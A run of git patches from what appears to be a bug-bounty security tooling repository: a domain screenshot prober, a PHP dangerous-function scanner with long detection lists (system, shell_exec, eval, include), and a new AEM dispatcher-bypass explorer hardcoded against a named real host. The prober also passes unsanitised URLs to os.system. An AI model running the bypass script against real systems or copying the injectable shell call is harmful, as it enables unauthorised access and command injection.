__pattern, - ' code pattern identified: ') + printcodeline(_line, i, __pattern, + ' code pattern identified: ', _code) # URL searching if IDENTIFY_URLS == True: @@ -237,7 +253,7 @@ def perform_code_analysis(src, pattern=""): __url = URL_REGEX.search(__line).group(0) # show each unique URL only once if __url not in URLS: - printcodeline(__url, i, __url, ' URL found: ') + printcodeline(__url, i, __url, ' URL found: ', _code) URLS.append(__url) if patterns_found_in_file > 0: From 3ed667920a464c82426029c8883a0d60ba409e86 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Mon, 29 Apr 2019 00:56:32 +0100 Subject: [PATCH 053/460] screenshoots [denumerator.py] --- denumerator/denumerator.py | 69 ++++++++++++++++++++++++++++++++---- nodestructor/nodestructor.py | 2 +- 2 files changed, 64 insertions(+), 7 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 1c702f4..f392e8e 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -15,6 +15,8 @@ """ import argparse import sys +import os +import time import requests welcome = """ @@ -53,7 +55,50 @@ def usage(): print welcome -def send_request(proto, domain, output_file): +def create_output_header(html_output): + html = """ + + + + + denumerator output + + + + """ + html_output.write(html) + return + + +def append_to_output(html_output, url): + screenshot_cmd = '/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --headless --user-agent="bl4de/HackerOne" --disable-gpu --screenshot ' + os.system(screenshot_cmd + url) + time.sleep(3) + screenshot_name = url.replace('https', '').replace( + 'http', '').replace('://', '') + os.rename('screenshot.png', screenshot_name + '.png') + html = """ +

+ """.format(url, url, screenshot_name + '.png') + html_output.write(html) + return + + +def create_output_footer(html_output): + html = """ + + + """ + html_output.write(html) + return + + +def send_request(proto, domain, output_file, html_output): """ sends request to check if server is alive """ @@ -71,6 +116,11 @@ def send_request(proto, domain, output_file): print '[+] {}HTTP {}{}:\t {}'.format( colors[resp.status_code], resp.status_code, colors['white'], domain) + # create screenshot only for HTTP 200 OK - makes no sense to screenshooting 302, 404 etc. + if resp.status_code == 200: + append_to_output(html_output, protocols.get( + proto.lower()) + domain) + if output_file: output_file.write('{}\n'.format(domain)) output_file.flush() @@ -78,17 +128,17 @@ def send_request(proto, domain, output_file): return resp.status_code -def enumerate_domains(domains, output_file, show=False): +def enumerate_domains(domains, output_file, html_output, show=False): """ enumerates domain from domains """ for d in domains: try: d = d.strip('\n').strip('\r') - return_code = send_request('http', d, output_file) + return_code = send_request('http', d, output_file, html_output) # if http not working, try https if return_code not in allowed_http_responses: - send_request('https', d, output_file) + send_request('https', d, output_file, html_output) except requests.exceptions.InvalidURL: if show is True: @@ -136,9 +186,16 @@ def main(): show = True if args.success else False domains = open(args.file, 'rw').readlines() + # starts output HTML + html_output = open('denumerator_output.html', 'a') + create_output_header(html_output) # main loop - enumerate_domains(domains, output_file, show) - + enumerate_domains(domains, output_file, html_output, show) + + # finish HTML output + create_output_footer(html_output) + html_output.close() + # close output file if args.output: output_file.close() diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index f64feec..26f97db 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -259,7 +259,7 @@ def perform_code_analysis(src, pattern=""): if patterns_found_in_file > 0: PATTERNS_IDENTIFIED = PATTERNS_IDENTIFIED + patterns_found_in_file print beautyConsole.getColor("red") + \ - "Identified %d code pattern(s)\n" % (patterns_found_in_file) + \ + "\nIdentified %d code pattern(s)\n" % (patterns_found_in_file) + \ beautyConsole.getSpecialChar("endline") print beautyConsole.getColor("white") + "-" * 100 From 144a61824841662016383881bf6158bada9862de Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Mon, 29 Apr 2019 01:24:33 +0100 Subject: [PATCH 054/460] SSL screenshot error [fixed]; flushing HTML output; CSS improvements [denumerator] --- denumerator/denumerator.py | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index f392e8e..cfb450f 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -71,21 +71,21 @@ def create_output_header(html_output): def append_to_output(html_output, url): - screenshot_cmd = '/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --headless --user-agent="bl4de/HackerOne" --disable-gpu --screenshot ' - os.system(screenshot_cmd + url) - time.sleep(3) screenshot_name = url.replace('https', '').replace( - 'http', '').replace('://', '') - os.rename('screenshot.png', screenshot_name + '.png') + 'http', '').replace('://', '') + '.png' + screenshot_cmd = '/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --headless --user-agent="bl4de/HackerOne" --disable-gpu --screenshot={} '.format( + screenshot_name) + os.system(screenshot_cmd + url) html = """ -
+

{}

- +
- """.format(url, url, screenshot_name + '.png') + """.format(url, url, screenshot_name) html_output.write(html) + html_output.flush() return From 4b8cc70f511e61e5032e5628669f64fdc7e2be70 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Mon, 29 Apr 2019 08:48:59 +0100 Subject: [PATCH 055/460] create report/ dir for HTML report --- denumerator/denumerator.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index cfb450f..c95fdc4 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -71,7 +71,7 @@ def create_output_header(html_output): def append_to_output(html_output, url): - screenshot_name = url.replace('https', '').replace( + screenshot_name = './report/' + url.replace('https', '').replace( 'http', '').replace('://', '') + '.png' screenshot_cmd = '/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --headless --user-agent="bl4de/HackerOne" --disable-gpu --screenshot={} '.format( screenshot_name) @@ -186,8 +186,11 @@ def main(): show = True if args.success else False domains = open(args.file, 'rw').readlines() + # create dir for HTML report + os.mkdir('report') + # starts output HTML - html_output = open('denumerator_output.html', 'a') + html_output = open('report/denumerator_report.html', 'a') create_output_header(html_output) # main loop enumerate_domains(domains, output_file, html_output, show) From 93f83847946ca42c069021c868cf226a7b0ec648 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Mon, 29 Apr 2019 08:52:31 +0100 Subject: [PATCH 056/460] fix for screenshots paths in img tag in HTML report [denumerator.py] --- denumerator/denumerator.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index c95fdc4..dbedd1e 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -71,10 +71,10 @@ def create_output_header(html_output): def append_to_output(html_output, url): - screenshot_name = './report/' + url.replace('https', '').replace( + screenshot_name = url.replace('https', '').replace( 'http', '').replace('://', '') + '.png' screenshot_cmd = '/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --headless --user-agent="bl4de/HackerOne" --disable-gpu --screenshot={} '.format( - screenshot_name) + './report/' + screenshot_name) os.system(screenshot_cmd + url) html = """
From e1d45ebe70dece955deb68e6e17f607bb5444752 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Tue, 7 May 2019 20:23:31 +0100 Subject: [PATCH 057/460] report layout changes; refactoring; check if report/ directory exists; [denumerator] --- denumerator/denumerator.py | 30 ++++++++++++++++++------------ 1 file changed, 18 insertions(+), 12 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index dbedd1e..224245a 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -70,20 +70,28 @@ def create_output_header(html_output): return -def append_to_output(html_output, url): +def append_to_output(html_output, url, http_status_code): screenshot_name = url.replace('https', '').replace( 'http', '').replace('://', '') + '.png' screenshot_cmd = '/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --headless --user-agent="bl4de/HackerOne" --disable-gpu --screenshot={} '.format( - './report/' + screenshot_name) + './report/' + screenshot_name) os.system(screenshot_cmd + url) + + http_status_code_color = "000" + if http_status_code == 200: + http_status_code_color = "0c0" + if http_status_code == 403: + http_status_code_color = "c00" + html = """
+

HTTP Response Status: {}

{}

- """.format(url, url, screenshot_name) + """.format(http_status_code_color, http_status_code, url, url, screenshot_name) html_output.write(html) html_output.flush() return @@ -116,10 +124,9 @@ def send_request(proto, domain, output_file, html_output): print '[+] {}HTTP {}{}:\t {}'.format( colors[resp.status_code], resp.status_code, colors['white'], domain) - # create screenshot only for HTTP 200 OK - makes no sense to screenshooting 302, 404 etc. - if resp.status_code == 200: + if resp.status_code in [200, 302, 403, 404, 500]: append_to_output(html_output, protocols.get( - proto.lower()) + domain) + proto.lower()) + domain, resp.status_code) if output_file: output_file.write('{}\n'.format(domain)) @@ -135,10 +142,8 @@ def enumerate_domains(domains, output_file, html_output, show=False): for d in domains: try: d = d.strip('\n').strip('\r') - return_code = send_request('http', d, output_file, html_output) - # if http not working, try https - if return_code not in allowed_http_responses: - send_request('https', d, output_file, html_output) + send_request('http', d, output_file, html_output) + send_request('https', d, output_file, html_output) except requests.exceptions.InvalidURL: if show is True: @@ -187,10 +192,11 @@ def main(): domains = open(args.file, 'rw').readlines() # create dir for HTML report - os.mkdir('report') + if os.path.isdir('report') == False: + os.mkdir('report') # starts output HTML - html_output = open('report/denumerator_report.html', 'a') + html_output = open('report/denumerator_report.html', 'w+') create_output_header(html_output) # main loop enumerate_domains(domains, output_file, html_output, show) From 57c9966f7032fcb2ef0b1ab1c6f8891a3f9686aa Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Thu, 9 May 2019 00:12:49 +0100 Subject: [PATCH 058/460] removed 302 from screenshoots - causes too many issues :P [denumerator] --- denumerator/denumerator.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 224245a..16f5ba4 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -80,7 +80,7 @@ def append_to_output(html_output, url, http_status_code): http_status_code_color = "000" if http_status_code == 200: http_status_code_color = "0c0" - if http_status_code == 403: + if http_status_code == 403 or http_status_code == 500: http_status_code_color = "c00" html = """ @@ -124,7 +124,7 @@ def send_request(proto, domain, output_file, html_output): print '[+] {}HTTP {}{}:\t {}'.format( colors[resp.status_code], resp.status_code, colors['white'], domain) - if resp.status_code in [200, 302, 403, 404, 500]: + if resp.status_code in [200, 403, 404, 500]: append_to_output(html_output, protocols.get( proto.lower()) + domain, resp.status_code) From 2027bd3ecb0dbb2037fb53e989eac4c02ada44f0 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sat, 11 May 2019 09:40:26 +0100 Subject: [PATCH 059/460] refactoring of detection mechanism [pef.py] --- pef/pef.py | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 9b98bda..8d7e7d8 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -85,22 +85,24 @@ def main(src): i += 1 __line = _line.strip() for _fn in pefdefs.exploitableFunctions: - if _fn in __line.replace(" ", ""): + _fn = " {}".format(_fn) # there has to be space before function call; prevents from false-positives strings contains PHP function names + if _fn in __line: total += 1 printcodeline(_line, i, _fn + ')', beautyConsole.efMsgFound, prev_line, next_line, prev_prev_line, next_next_line) for _dp in pefdefs.fileInclude: - if _dp in __line.replace(" ", ""): + _dp = " {}".formast(_dp) # there has to be space before function call; prevents from false-positives strings contains PHP function names + if _dp in __line.repalce(" ", ""): # remove spaces to allow detection eg. include( $_GET['something] ) total += 1 printcodeline(_line, i, _dp + '()', beautyConsole.fiMsgFound, prev_line, next_line, prev_prev_line, next_next_line) for _global in pefdefs.globalVars: - if _global in __line.replace(" ", ""): + if _global in __line: total += 1 printcodeline(_line, i, _global, beautyConsole.efMsgGlobalFound, prev_line, next_line, prev_prev_line, next_next_line) for _refl in pefdefs.reflectedProperties: - if _refl in __line.replace(" ", ""): + if _refl in __line: total += 1 printcodeline(_line, i, _refl, beautyConsole.eReflFound, prev_line, next_line, prev_prev_line, next_next_line) From 3cd712c6686f69e755da7eac4f10f0201659a4bc Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sat, 11 May 2019 09:57:16 +0100 Subject: [PATCH 060/460] recursive directory scanning done right; arguments parsing done right; summary added [pef] --- pef/pef.py | 58 ++++++++++++++++++++++++++++++------------------------ 1 file changed, 32 insertions(+), 26 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 8d7e7d8..5bb4556 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -12,6 +12,7 @@ """ import sys import os +import argparse from imports import pefdefs from imports.beautyConsole import beautyConsole @@ -85,14 +86,17 @@ def main(src): i += 1 __line = _line.strip() for _fn in pefdefs.exploitableFunctions: - _fn = " {}".format(_fn) # there has to be space before function call; prevents from false-positives strings contains PHP function names + # there has to be space before function call; prevents from false-positives strings contains PHP function names + _fn = " {}".format(_fn) if _fn in __line: total += 1 printcodeline(_line, i, _fn + ')', beautyConsole.efMsgFound, prev_line, next_line, prev_prev_line, next_next_line) for _dp in pefdefs.fileInclude: - _dp = " {}".formast(_dp) # there has to be space before function call; prevents from false-positives strings contains PHP function names - if _dp in __line.repalce(" ", ""): # remove spaces to allow detection eg. include( $_GET['something] ) + # there has to be space before function call; prevents from false-positives strings contains PHP function names + _dp = " {}".format(_dp) + # remove spaces to allow detection eg. include( $_GET['something] ) + if _dp in __line.replace(" ", ""): total += 1 printcodeline(_line, i, _dp + '()', beautyConsole.fiMsgFound, prev_line, next_line, prev_prev_line, next_next_line) @@ -117,32 +121,34 @@ def main(src): beautyConsole.getSpecialChar("endline") print beautyConsole.getColor("white") + "-" * 100 + return total # return how many findings in current file # main program if __name__ == "__main__": - if len(sys.argv) >= 2: - banner() - - # main program loop - if len(sys.argv) == 3 and (sys.argv[1] == "-R" or sys.argv[2] == "-R"): - if sys.argv[1] == "-R": - base_path = sys.argv[2] + '/' - file_list = os.listdir(sys.argv[2]) - if sys.argv[2] == "-R": - file_list = os.listdir(sys.argv[1]) - base_path = sys.argv[1] + '/' - - for __file in file_list: - full_path = base_path + __file - if os.path.isfile(full_path): - main(full_path) - else: - main(sys.argv[1]) - - print + parser = argparse.ArgumentParser() + + parser.add_argument( + "-r", "--recursive", help="scan PHP files recursively in current directory", action="store_true") + parser.add_argument( + "-f", "--file", help="File or directory name to scan (if directory name is provided, make sure -r is used") + args = parser.parse_args() + + __filename = args.file + __scanned_files = 1 + __found_entries = 0 + + if args.recursive: + for root, subdirs, files in os.walk('.'): + for f in files: + res = main(os.path.join(root, f)) + __found_entries = __found_entries + res + __scanned_files = __scanned_files + 1 else: - print "Enter PHP or directory name with file(s) to analyse" - print "single file: pef filename.php" - print "directory: pef -R dirname" + main(__filename) + + print beautyConsole.getColor("green") + print "\n{} files scanned.".format(__scanned_files) + print "{} interesting entries found\n\n".format(__found_entries) + exit(0) From 97e6c8d41470c427b39ae983c3272337eef0f8fb Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sat, 11 May 2019 10:00:44 +0100 Subject: [PATCH 061/460] some small visual changes for summary --- pef/pef.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 5bb4556..2280149 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -149,6 +149,10 @@ def main(src): main(__filename) print beautyConsole.getColor("green") - print "\n{} files scanned.".format(__scanned_files) - print "{} interesting entries found\n\n".format(__found_entries) + print "\n ===> {} files scanned".format(__scanned_files) + if __found_entries > 0: + print "{} ===> {} interesting entries found\n\n".format(beautyConsole.getColor("red"), __found_entries) + else: + print " ===> No interesting entries found :( \n\n" + exit(0) From 2402dcf81e292b47d6ccfc32f917ec9c9b7499f1 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sat, 11 May 2019 10:01:43 +0100 Subject: [PATCH 062/460] some small visual changes for single file mode --- pef/pef.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pef/pef.py b/pef/pef.py index 2280149..a1226a7 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -146,7 +146,7 @@ def main(src): __found_entries = __found_entries + res __scanned_files = __scanned_files + 1 else: - main(__filename) + __found_entries = main(__filename) print beautyConsole.getColor("green") print "\n ===> {} files scanned".format(__scanned_files) From 5b2c80a8f9b8576889edbbfdf90dca38c11e5c6c Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Tue, 14 May 2019 00:37:50 +0100 Subject: [PATCH 063/460] new tool - AEM explorer; allows to explore dir tree in bypassed AEM's dispatcher --- aem-explorer.py | 55 +++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 55 insertions(+) create mode 100755 aem-explorer.py diff --git a/aem-explorer.py b/aem-explorer.py new file mode 100755 index 0000000..b4ec14e --- /dev/null +++ b/aem-explorer.py @@ -0,0 +1,55 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# AEM (Adobe Experience Manager) vulnerable instance directory tree explorer +import requests +import json + +host = 'roche-eu-elb1euwe-edbsgup20jrh-484431596.eu-west-1.elb.amazonaws.com' +bypass = '/.childrenlist.json' + +headers = { + 'Host': host, + 'User-Agent': 'bl4de/HackerOne', + 'Accept': 'application/json' +} + + +def process(): + url = "{}{}{}".format('http://', host, bypass) + resp = requests.get( + url, + headers=headers + ) + dirtree = json.loads(resp.content) + for d in dirtree: + print d + + while True: + goto_path = raw_input("\n\n>>> ") + url = "{}{}/{}{}".format('https://', host, goto_path, bypass) + print "DIR: {}\n".format(goto_path) + + print url + resp = requests.get( + url, + headers=headers + ) + + if resp.content: + dirtree = json.loads(resp.content) + for d in dirtree: + if "jcr:" in d: + print "{}: {}".format(d, dirtree[d]) + print " {}".format(d) + + +def main(): + try: + process() + except ValueError: + print "\n[-] No valid JSON returned\n" + process() + + +if __name__ == "__main__": + main() From 72044278496bf8596454ddb70d805e597efd0009 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Tue, 14 May 2019 00:54:32 +0100 Subject: [PATCH 064/460] off-by-one error in scanned files counter :) [FIXED][pef] --- pef/pef.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index a1226a7..4527d70 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -136,20 +136,21 @@ def main(src): args = parser.parse_args() __filename = args.file - __scanned_files = 1 + __scanned_files = 0 __found_entries = 0 if args.recursive: for root, subdirs, files in os.walk('.'): for f in files: + __scanned_files = __scanned_files + 1 res = main(os.path.join(root, f)) __found_entries = __found_entries + res - __scanned_files = __scanned_files + 1 else: + __scanned_files = __scanned_files + 1 __found_entries = main(__filename) print beautyConsole.getColor("green") - print "\n ===> {} files scanned".format(__scanned_files) + print "\n ===> {} file(s) scanned".format(__scanned_files) if __found_entries > 0: print "{} ===> {} interesting entries found\n\n".format(beautyConsole.getColor("red"), __found_entries) else: From 58687c4d453c994233fc397b8ea903d06b248483 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Tue, 14 May 2019 20:51:50 +0100 Subject: [PATCH 065/460] show only files which contain some result(s) to make output readable and shorter [pef] --- pef/pef.py | 16 ++++++---------- 1 file changed, 6 insertions(+), 10 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 4527d70..bed4ea4 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -71,8 +71,6 @@ def main(src): next_line = "" next_next_line = "" - print "FILE: \33[33m%s\33[0m " % os.path.realpath(_file.name), "\n" - for _line in all_lines: if i > 2: prev_prev_line = all_lines[i - 2].rstrip() @@ -111,16 +109,13 @@ def main(src): printcodeline(_line, i, _refl, beautyConsole.eReflFound, prev_line, next_line, prev_prev_line, next_next_line) - if total < 1: - print beautyConsole.getColor("green") + \ - "No exploitable functions found" + \ - beautyConsole.getSpecialChar("endline") - else: + if total > 0: + print "FILE: \33[33m%s\33[0m " % os.path.realpath(_file.name), "\n" print beautyConsole.getColor("red") + \ "Found %d exploitable function(s)\n" % (total) + \ beautyConsole.getSpecialChar("endline") - - print beautyConsole.getColor("white") + "-" * 100 + print beautyConsole.getColor("white") + "-" * 100 + return total # return how many findings in current file @@ -152,7 +147,8 @@ def main(src): print beautyConsole.getColor("green") print "\n ===> {} file(s) scanned".format(__scanned_files) if __found_entries > 0: - print "{} ===> {} interesting entries found\n\n".format(beautyConsole.getColor("red"), __found_entries) + print "{} ===> {} interesting entries found\n\n".format( + beautyConsole.getColor("red"), __found_entries) else: print " ===> No interesting entries found :( \n\n" From c24eba9083949daeea5100b005162585ea6df1cb Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Tue, 14 May 2019 21:00:08 +0100 Subject: [PATCH 066/460] revert last change [pef] --- pef/pef.py | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index bed4ea4..4ef2dcc 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -71,6 +71,8 @@ def main(src): next_line = "" next_next_line = "" + print "FILE: \33[33m%s\33[0m " % os.path.realpath(_file.name), "\n" + for _line in all_lines: if i > 2: prev_prev_line = all_lines[i - 2].rstrip() @@ -109,13 +111,17 @@ def main(src): printcodeline(_line, i, _refl, beautyConsole.eReflFound, prev_line, next_line, prev_prev_line, next_next_line) - if total > 0: - print "FILE: \33[33m%s\33[0m " % os.path.realpath(_file.name), "\n" + if total < 1: + print beautyConsole.getColor("green") + \ + "No exploitable functions found" + \ + beautyConsole.getSpecialChar("endline") + else: print beautyConsole.getColor("red") + \ "Found %d exploitable function(s)\n" % (total) + \ beautyConsole.getSpecialChar("endline") - print beautyConsole.getColor("white") + "-" * 100 - + + print beautyConsole.getColor("white") + "-" * 100 + return total # return how many findings in current file From dd4d0b36246d2367e695d27922fe3df29ce48c46 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Tue, 14 May 2019 21:04:12 +0100 Subject: [PATCH 067/460] handling filename passed as -f/--file argument [pef] --- pef/pef.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 4ef2dcc..722d40d 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -129,11 +129,12 @@ def main(src): if __name__ == "__main__": parser = argparse.ArgumentParser() + __filename = '.' # initial value for file/dir to scan is current directory parser.add_argument( "-r", "--recursive", help="scan PHP files recursively in current directory", action="store_true") parser.add_argument( - "-f", "--file", help="File or directory name to scan (if directory name is provided, make sure -r is used") + "-f", "--file", help="File or directory name to scan (if directory name is provided, make sure -r/--recursive is set") args = parser.parse_args() __filename = args.file @@ -141,7 +142,7 @@ def main(src): __found_entries = 0 if args.recursive: - for root, subdirs, files in os.walk('.'): + for root, subdirs, files in os.walk(__filename): for f in files: __scanned_files = __scanned_files + 1 res = main(os.path.join(root, f)) From 76f386be82d493c3f16d72d2d6914a765a46f763 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Wed, 15 May 2019 00:13:25 +0100 Subject: [PATCH 068/460] new patterns thx. @pentest_swissky :) for his Vulny-Code-Static-Analysis [pef] --- pef/imports/pefdefs.py | 34 ++++++++++++++++++++++++++++++++++ 1 file changed, 34 insertions(+) diff --git a/pef/imports/pefdefs.py b/pef/imports/pefdefs.py index 3a4fb11..c228b0e 100755 --- a/pef/imports/pefdefs.py +++ b/pef/imports/pefdefs.py @@ -7,6 +7,40 @@ "pcntl_exec(", "asset(", "extract(", "parse_str(", "putenv(", "ini_set(", "mail(", "header(", "unserialize(", "apache_child_terminate(", "apache_get_modules(", + "assert(", + "call_user_func(", + "call_user_func_array(", + "ereg_replace(", + "eregi_replace(", + "mb_ereg_replace(", + "mb_eregi_replace(", + "virtual", + "readfile(", + "file_get_contents(", + "show_source(", + "fopen(", + "file(", + "fpassthru(", + "gzopen(", + "gzfile(", + "gzpassthru(", + "readgzfile(", + "mssql_query(", + "move_uploaded_file(", + "echo", + "print", + "printf", + "xpath(", + "ldap_search(", + "header(", + "http_redirect", + "HttpMessage::setResponseCode", + "HttpMessage::setHeaders", + "HttpRequest::setHeaders", + "sqlite_", + "pg_", + "mysql_", + "mysqli_", "apache_note(", "apache_setenv(", "define_syslog_variables(", From ee18346a70bb103de6125ac3d770ded15ed916b4 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Wed, 15 May 2019 00:49:59 +0100 Subject: [PATCH 069/460] small refactoring of the message [pef] --- pef/imports/beautyConsole.py | 2 +- pef/imports/pefdefs.py | 4 ++-- pef/pef.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/pef/imports/beautyConsole.py b/pef/imports/beautyConsole.py index 0583284..022a32f 100755 --- a/pef/imports/beautyConsole.py +++ b/pef/imports/beautyConsole.py @@ -35,7 +35,7 @@ def getSpecialChar(char_name): return "" - efMsgFound = "exploitable function call" + efMsgFound = " - potential vulnerable code" eKeyWordFound = "keyword with possibly critical meaning in code" efMsgGlobalFound = "global variable explicit call" fiMsgFound = "file include pattern found; potential LFI/RFI detected" diff --git a/pef/imports/pefdefs.py b/pef/imports/pefdefs.py index c228b0e..227dbf8 100755 --- a/pef/imports/pefdefs.py +++ b/pef/imports/pefdefs.py @@ -28,8 +28,8 @@ "mssql_query(", "move_uploaded_file(", "echo", - "print", - "printf", + "print(", + "printf(", "xpath(", "ldap_search(", "header(", diff --git a/pef/pef.py b/pef/pef.py index 722d40d..a9d52df 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -90,7 +90,7 @@ def main(src): _fn = " {}".format(_fn) if _fn in __line: total += 1 - printcodeline(_line, i, _fn + ')', + printcodeline(_line, i, _fn + (')' if '(' in _fn else ''), beautyConsole.efMsgFound, prev_line, next_line, prev_prev_line, next_next_line) for _dp in pefdefs.fileInclude: # there has to be space before function call; prevents from false-positives strings contains PHP function names From 300fa4240c6879a0bea8e2c20099da594e23c1db Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Thu, 16 May 2019 20:01:18 +0100 Subject: [PATCH 070/460] refactoring; additional information and stats about findings [pef.py] --- pef/imports/pefdefs.py | 284 ++++++++++++++++++++++------------------- pef/imports/pefdocs.py | 38 ++++++ pef/pef.py | 56 +++++--- 3 files changed, 233 insertions(+), 145 deletions(-) create mode 100644 pef/imports/pefdocs.py diff --git a/pef/imports/pefdefs.py b/pef/imports/pefdefs.py index 227dbf8..dcbaeb3 100755 --- a/pef/imports/pefdefs.py +++ b/pef/imports/pefdefs.py @@ -1,139 +1,163 @@ # Definitions for pef.py # exploitable functions -exploitableFunctions = ["system(", "exec(", "popen(", "pcntl_exec(", - "eval(", "preg_replace(", "create_function(", "include(", "require(", "passthru(", - "shell_exec(", "popen(", "proc_open(", - "pcntl_exec(", "asset(", "extract(", "parse_str(", "putenv(", "ini_set(", - "mail(", "header(", "unserialize(", "apache_child_terminate(", - "apache_get_modules(", - "assert(", - "call_user_func(", - "call_user_func_array(", - "ereg_replace(", - "eregi_replace(", - "mb_ereg_replace(", - "mb_eregi_replace(", - "virtual", - "readfile(", - "file_get_contents(", - "show_source(", - "fopen(", - "file(", - "fpassthru(", - "gzopen(", - "gzfile(", - "gzpassthru(", - "readgzfile(", - "mssql_query(", - "move_uploaded_file(", - "echo", - "print(", - "printf(", - "xpath(", - "ldap_search(", - "header(", - "http_redirect", - "HttpMessage::setResponseCode", - "HttpMessage::setHeaders", - "HttpRequest::setHeaders", - "sqlite_", - "pg_", - "mysql_", - "mysqli_", - "apache_note(", - "apache_setenv(", - "define_syslog_variables(", - "disk_free_space(", - "disk_total_space(", - "diskfreespace(", - "dl(", - "escapeshellarg(", - "escapeshellcmd(", - "exec(", - "extract(", - "get_cfg_var(", - "get_current_user(", - "getcwd(", - "getenv(", - "getlastmo(", - "getmygid(", - "getmyinode(", - "getmypid(", - "getmyuid(", - "ini_restore(", - "ini_set(", - "passthru(", - "pcntl_alarm(", - "pcntl_exec(", - "pcntl_fork(", - "pcntl_get_last_error(", - "pcntl_getpriority(", - "pcntl_setpriority(", - "pcntl_signal(", - "pcntl_signal_dispatch(", - "pcntl_sigprocmask(", - "pcntl_sigtimedwait(", - "pcntl_sigwaitinfo(", - "pcntl_strerrorp(", - "pcntl_wait(", - "pcntl_waitpid(", - "pcntl_wexitstatus(", - "pcntl_wifexited(", - "pcntl_wifsignaled(", - "pcntl_wifstopped(", - "pcntl_wstopsig(", - "pcntl_wtermsig(", - "php_uname(", - "phpinfo(", - "popen(", - "posix_getlogin(", - "posix_getpwuid(", - "posix_kill(", - "posix_mkfifo(", - "posix_setpgid(", - "posix_setsid(", - "posix_setuid(", - "posix_ttyname(", - "posix_uname(", - "posixc(", - "proc_close(", - "proc_get_status(", - "proc_nice(", - "proc_open(", - "proc_terminate(", - "ps_aux(", - "putenv(", - "readlink(", - "runkit_function_rename(", - "show_source(", - "symlink(", - "syslog(", - ] - -# exploitable functions description -# needs to have closing bracket ), bc this is how pattern is passed to function -# printcodeline(_line, i, _fn, _message) - -# @TODO: add other descriptions :) -exploitableFunctionsDesc = { - "parse_str()": "when parse_str(arg, [target]) parses URL-like string, \n\t\tit sets variables in current scope WITHOUT initializing it", - "system()": "allows to execute system command passed as an argument" -} +exploitableFunctions = [ + "system(", + "exec(", + "popen(", + "pcntl_exec(", + "eval(", + "preg_replace(", + "create_function(", + "include(", + "require(", + "passthru(", + "shell_exec(", + "popen(", + "proc_open(", + "pcntl_exec(", + "asset(", + "extract(", + "parse_str(", + "putenv(", + "ini_set(", + "mail(", + "header(", + "unserialize(", + "apache_child_terminate(", + "apache_get_modules(", + "assert(", + "call_user_func(", + "call_user_func_array(", + "ereg_replace(", + "eregi_replace(", + "mb_ereg_replace(", + "mb_eregi_replace(", + "virtual", + "readfile(", + "file_get_contents(", + 